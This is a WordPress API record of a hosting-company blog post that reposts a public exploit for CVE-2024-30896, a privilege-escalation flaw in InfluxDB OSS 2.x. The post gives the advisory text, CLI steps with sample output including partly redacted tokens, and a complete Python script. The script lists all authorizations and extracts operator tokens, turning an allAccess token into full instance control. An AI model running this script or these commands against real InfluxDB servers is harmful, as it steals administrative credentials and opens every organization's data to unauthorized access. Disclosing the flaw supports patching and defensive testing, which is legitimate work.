{"id":62576,"date":"2025-04-08T16:41:11","date_gmt":"2025-04-08T13:11:11","guid":{"rendered":"https:\/\/afaghhosting.net\/blog\/influxdb-oss-2-7-11-operator-token-privilege-escalation\/"},"modified":"2025-04-08T16:41:11","modified_gmt":"2025-04-08T13:11:11","slug":"influxdb-oss-2-7-11-operator-token-privilege-escalation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/influxdb-oss-2-7-11-operator-token-privilege-escalation\/","title":{"rendered":"InfluxDB OSS 2.7.11 &#8211; Operator Token Privilege Escalation"},"content":{"rendered":"<p><\/p>\n<div>\n<pre><code class=\"language-py\" style=\"white-space: pre-wrap;\"># Exploit Title: InfluxDB OSS Operator Privilege Escalation via BusinessLogic Flaw&#13;\n# Date: 22\/03\/2024&#13;\n# Exploit Author: Andrea Pasin (Xenom0rph97)&#13;\n# Researcher Homepage: https:\/\/xenom0rph97.github.io\/xeno\/&#13;\n# GitHub Exploit repo: https:\/\/github.com\/XenoM0rph97\/CVE-2024-30896&#13;\n# Software Link: https:\/\/www.influxdata.com\/products\/influxdb\/&#13;\n# Version: 2.x  2.7.11&#13;\n# Tested on: InfluxDB OSS 2.x&#13;\n# CVE: CVE-2024-30896&#13;\n# CVSS Base Score: 9.1&#13;\n# CVSS v3.1 Vector: AV:N\/AC:L\/PR:H\/UI:N\/S:C\/C:H\/I:H\/A:H&#13;\n&#13;\n# CVE-2024-30896&#13;\n&#13;\n## Summary&#13;\nA business logic flaw in influxdb allows users who own a valid allAccess&#13;\ntoken to escalate their privileges at operator level by listing current&#13;\nauthorization tokens.&#13;\n&#13;\n## Scenario&#13;\nAttacker might be a user which was gained access by an administrator via an&#13;\nallAccess token only within their organization.&#13;\nThis user's permissions will allow full control over the organization but&#13;\nwill still prevent him to interact with other orgs.&#13;\n&#13;\n## Impact&#13;\nThis vulnerability would allow a user to obtain unrestricted access to the&#13;\ninfluxdb instance. A similar condition might fully compromise&#13;\nConfidentiality, Integrity and Availability of data owned by users of&#13;\ndifferent organizations. Additionally, since operator token has&#13;\nadministrative permissions, Availability and Integrity of the entire&#13;\ninfluxdb instance might be compromised.&#13;\n&#13;\n## Prerequisites\/Limitations&#13;\n1. Attacker must have a valid allAccess token&#13;\n2. allAccess token must have been created in the same Org where an operator&#13;\ntoken resides (ex. same Org as Admin user)&#13;\n3. Attacker must be able to interact with influxdb instance via CLI or APIs&#13;\n(influxClient)&#13;\n&#13;\n## Steps to Reproduce&#13;\n### Case 1: Exploitation via influxdb APIs:&#13;\n*Python Version*: 3&#13;\n*Requirements*: `influxdb_client==1.41.0`&#13;\n*Script usage*&#13;\n```&#13;\n% python3 .\/CVE-2024-30896.py -h&#13;\nusage: CVE-2024-30896.py [-h] [-t TOKEN] [-e ENDPOINTURL] [-v [VERBOSE]]&#13;\n[-vv [VVERBOSE]]&#13;\n&#13;\noptional arguments:&#13;\n-h, --help show this help message and exit&#13;\n-t TOKEN, --token TOKEN&#13;\nCustom or allAccess token to access influx DB&#13;\ninstance&#13;\n-e ENDPOINTURL, --endpointUrl ENDPOINTURL&#13;\nEndpoint Url of influxdb instance (ex. \"&#13;\nhttps:\/\/myInfluxdbInstance:8086\/\")&#13;\n-v [VERBOSE], --verbose [VERBOSE]&#13;\nEnable verbose logging - INFO&#13;\n-vv [VVERBOSE], --vverbose [VVERBOSE]&#13;\nEnable verbose logging - DEBUG&#13;\n```&#13;\n&#13;\n### Case 2: Exploitation via influx CLI&#13;\n1. Execute: `influx auth ls -t <allaccesstoken> | grep write:\/orgs`. This&#13;\nwill list all current active operator tokens on the influxdb instance.&#13;\n&#13;\n*Example*&#13;\n```&#13;\n# Using an allAccess token&#13;\ninflux auth ls -t U1OuqmFC{REDACTED} | grep U1OuqmFC{REDACTED}&#13;\n&#13;\n0cc41c3b050e5000 U1OuqmFC{REDACTED}&#13;\nadmin 0cb9c92ee228b000 [read:orgs\/87d0746948a3b3f5\/authorizations&#13;\nwrite:orgs\/87d0746948a3b3f5\/authorizations&#13;\nread:orgs\/87d0746948a3b3f5\/buckets write:orgs\/87d0746948a3b3f5\/buckets&#13;\nread:orgs\/87d0746948a3b3f5\/dashboards&#13;\nwrite:orgs\/87d0746948a3b3f5\/dashboards read:\/orgs\/87d0746948a3b3f5&#13;\nread:orgs\/87d0746948a3b3f5\/sources write:orgs\/87d0746948a3b3f5\/sources&#13;\nread:orgs\/87d0746948a3b3f5\/tasks write:orgs\/87d0746948a3b3f5\/tasks&#13;\nread:orgs\/87d0746948a3b3f5\/telegrafs write:orgs\/87d0746948a3b3f5\/telegrafs&#13;\nread:\/users\/0cb9c92ee228b000 write:\/users\/0cb9c92ee228b000&#13;\nread:orgs\/87d0746948a3b3f5\/variables write:orgs\/87d0746948a3b3f5\/variables&#13;\nread:orgs\/87d0746948a3b3f5\/scrapers write:orgs\/87d0746948a3b3f5\/scrapers&#13;\nread:orgs\/87d0746948a3b3f5\/secrets write:orgs\/87d0746948a3b3f5\/secrets&#13;\nread:orgs\/87d0746948a3b3f5\/labels write:orgs\/87d0746948a3b3f5\/labels&#13;\nread:orgs\/87d0746948a3b3f5\/views write:orgs\/87d0746948a3b3f5\/views&#13;\nread:orgs\/87d0746948a3b3f5\/documents write:orgs\/87d0746948a3b3f5\/documents&#13;\nread:orgs\/87d0746948a3b3f5\/notificationRules&#13;\nwrite:orgs\/87d0746948a3b3f5\/notificationRules&#13;\nread:orgs\/87d0746948a3b3f5\/notificationEndpoints&#13;\nwrite:orgs\/87d0746948a3b3f5\/notificationEndpoints&#13;\nread:orgs\/87d0746948a3b3f5\/checks write:orgs\/87d0746948a3b3f5\/checks&#13;\nread:orgs\/87d0746948a3b3f5\/dbrp write:orgs\/87d0746948a3b3f5\/dbrp&#13;\nread:orgs\/87d0746948a3b3f5\/notebooks write:orgs\/87d0746948a3b3f5\/notebooks&#13;\nread:orgs\/87d0746948a3b3f5\/annotations&#13;\nwrite:orgs\/87d0746948a3b3f5\/annotations read:orgs\/87d0746948a3b3f5\/remotes&#13;\nwrite:orgs\/87d0746948a3b3f5\/remotes read:orgs\/87d0746948a3b3f5\/replications&#13;\nwrite:orgs\/87d0746948a3b3f5\/replications]&#13;\n&#13;\n# Listing all available tokens passing allAccess token and retrieving only&#13;\noperator level tokens&#13;\ninflux auth ls -t U1OuqmFC{REDACTED} | grep write:\/orgs&#13;\n&#13;\n0cbb920e128e5000 gerKYLO0Ph_ibUk0y{REDACTED}&#13;\nadmin 0cb9c92ee228b000 [read:\/authorizations write:\/authorizations&#13;\nread:\/buckets write:\/buckets read:\/dashboards write:\/dashboards read:\/orgs&#13;\nwrite:\/orgs read:\/sources write:\/sources read:\/tasks write:\/tasks&#13;\nread:\/telegrafs write:\/telegrafs read:\/users write:\/users read:\/variables&#13;\nwrite:\/variables read:\/scrapers write:\/scrapers read:\/secrets&#13;\nwrite:\/secrets read:\/labels write:\/labels read:\/views write:\/views&#13;\nread:\/documents write:\/documents read:\/notificationRules&#13;\nwrite:\/notificationRules read:\/notificationEndpoints&#13;\nwrite:\/notificationEndpoints read:\/checks write:\/checks read:\/dbrp&#13;\nwrite:\/dbrp read:\/notebooks write:\/notebooks read:\/annotations&#13;\nwrite:\/annotations read:\/remotes write:\/remotes read:\/replications&#13;\nwrite:\/replications]&#13;\n&#13;\ninfluxdb_client==1.41.0&#13;\n&#13;\nimport influxdb_client&#13;\nimport argparse&#13;\nimport logging&#13;\nimport sys&#13;\n&#13;\nargParser = argparse.ArgumentParser()&#13;\nargParser.add_argument(\"-t\", \"--token\", type=str, help=\"Custom or allAccess token to access influx DB instance\")&#13;\nargParser.add_argument(\"-e\", \"--endpointUrl\", type=str, help=\"Endpoint Url of influxdb instance (ex. \\\"https:\/\/myInfluxdbInstance:8086\/\\\")\")&#13;\nargParser.add_argument(\"-v\", \"--verbose\", type=bool, const=True, nargs='?', help=\"Enable verbose logging - INFO\")&#13;\nargParser.add_argument(\"-vv\", \"--vverbose\", type=bool, const=True, nargs='?', help=\"Enable verbose logging - DEBUG\")&#13;\n&#13;\nargs = argParser.parse_args()&#13;\n&#13;\n# Using user retrieved values or default (hardcoded) ones&#13;\nall_access_token = \"<allaccesstoken>\"&#13;\ninflux_endpoint_url = \"<influxdbendpointurl>\"&#13;\n&#13;\n# Defining some colors&#13;\nred = \"\\033[31m\"&#13;\nyellow = \"\\033[93m\"&#13;\npurple = \"\\33[1;95m\"&#13;\ngreen = \"\\033[0;92m\"&#13;\ncyan = \"\\033[96m\"&#13;\nbold =\"\\033[1m\"&#13;\nendc = \"\\033[39m\"&#13;\n&#13;\nif args.vverbose == True:&#13;\n    logging.basicConfig(level=logging.DEBUG)&#13;\nelif args.verbose == True:&#13;\n    logging.basicConfig(level=logging.INFO)&#13;\n&#13;\nlogger = logging.getLogger()&#13;\n&#13;\nif args.token:&#13;\n    token = args.token&#13;\nelse:&#13;\n    logger.debug(f\"{yellow}User did not set a token, using default one{endc}\")&#13;\n    token = all_access_token&#13;\n&#13;\nif args.endpointUrl:&#13;\n    endpointUrl = args.endpointUrl&#13;\nelse:&#13;\n    logger.debug(f\"{yellow}User did not set an endpoint Url for influxdb, using default one{endc}\")&#13;\n    endpointUrl = influx_endpoint_url&#13;\n&#13;\nlogger.info(f\"{cyan}Connecting to influx DB instance{endc}\")&#13;\n# Connecting to influxdb instance &#13;\ntry:&#13;\n    conn = influxdb_client.InfluxDBClient(&#13;\n                url=endpointUrl,&#13;\n                token=token,&#13;\n                debug=False,&#13;\n                verify_ssl=True&#13;\n            )&#13;\n&#13;\n    # Verify InfluxDB connection&#13;\n    health = conn.ping()&#13;\n    if not health:&#13;\n        logger.error(f\"{red}Unable to connect to db instace \" + endpointUrl + f\"{endc}\") &#13;\n        print(f\"{red}Quitting execution...{endc}\")&#13;\n        sys.exit(1)&#13;\n&#13;\nexcept Exception as e:&#13;\n    logger.error(f\"{red}Failed to connect to db instance: \" + endpointUrl + \" Error: \" + str(e) + f\"{endc}\")&#13;\n    print(f\"{red}Quitting execution...{endc}\")&#13;\n    sys.exit(1)&#13;\n&#13;\n# Retrieving all current auths&#13;\nlogger.debug(f\"{yellow}Retrieving all auth tokens{endc}\")&#13;\nprint(f\"{cyan}Enumerating current authorizations...{endc}\")&#13;\ntry:&#13;\n    auths = conn.authorizations_api().find_authorizations()&#13;\nexcept Exception as e:&#13;\n    logger.error(f\"{red}Unable to retrieve authorizations. ERR: \" + str(e) +f\"{endc}\")&#13;\n    print(f\"{red}Unable to retrieve authorizations. Quitting...{endc}\")&#13;\n    sys.exit(1)&#13;\nif not auths:&#13;\n    print(f\"{cyan}No Authorization tokens found on the instance{endc}\")&#13;\n    sys.exit(1)&#13;\nprint(f\"{cyan}{str(len(auths))} tokens found on the instance{endc}\\n\")&#13;\n# Extracting operator token -&gt; Parsing permissions to look for (\"org = None\" and \"authType = write\/auths\"), not 100% efficiency -&gt; TO OPTIMIZE&#13;\nlogger.debug(f\"{yellow}Parsing auth permissions to retrieve operator tokens{endc}\")&#13;\nprint(f\"{cyan}Enumerating all operator tokens:{endc}\")&#13;\nop_tokens = []&#13;\n# In order to understand if a token is of type \"operator\" we need to enumerate all permissions and look for \"write\/auths\" on org 'None' -&gt; Unrescticted access&#13;\ntry:&#13;\n    for auth in auths:&#13;\n        if auth.permissions:&#13;\n            for perm in auth.permissions:&#13;\n                if perm.action == \"write\" and perm.resource.org == None and perm.resource.type == \"authorizations\":&#13;\n                    op_tokens.append(auth.token)&#13;\nexcept Exception as e:&#13;\n    logger.error(f\"{red}Unable to parse permissions on found authorizations. ERR: \" + str(e) + f\"{endc}\")&#13;\n    print(f\"{red}Unable to parse permissions on found authorizations. Quitting execution...{endc}\")&#13;\n    sys.exit(1)&#13;\n&#13;\nlogger.info(f\"{cyan}Printing all operator auth tokens{endc}\")&#13;\nprint(f\"{cyan}{str(len(op_tokens))} operator tokens found.\\n\\nListing all operator tokens:\\n{endc}\")&#13;\nfor op_t in op_tokens:&#13;\n    print(f\"{green}{op_t}{endc}\")\n            <\/influxdbendpointurl><\/allaccesstoken><\/allaccesstoken><\/code><\/pre>\n<\/p><\/div>\n<p><a href=\"https:\/\/afaghhosting.net]\">\u0622\u0641\u0627\u0642 \u0647\u0627\u0633\u062a\u06cc\u0646\u06af \u0645\u062f\u06cc\u0631\u06cc\u062a \u0633\u0631\u0648\u0631 \u0645\u0634\u0627\u0648\u0631 \u0648 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646 \u0641\u0646\u06cc <\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: InfluxDB OSS Operator Privilege Escalation via BusinessLogic Flaw&#13; # Date: 22\/03\/2024&#13; # Exploit Author: Andrea Pasin (Xenom0rph97)&#13; # Researcher Homepage: https:\/\/xenom0rph97.github.io\/xeno\/&#13; # GitHub Exploit repo: https:\/\/github.com\/XenoM0rph97\/CVE-2024-30896&#13; # Software Link: https:\/\/www.influxdata.com\/products\/influxdb\/&#13; # Version: 2.x 2.7.11&#13; # Tested on: InfluxDB OSS 2.x&#13; # CVE: CVE-2024-30896&#13; # CVSS Base Score: 9.1&#13; # CVSS v3.1 Vector: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":62562,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-62576","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/62576","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=62576"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/62576\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media\/62562"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=62576"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=62576"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=62576"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}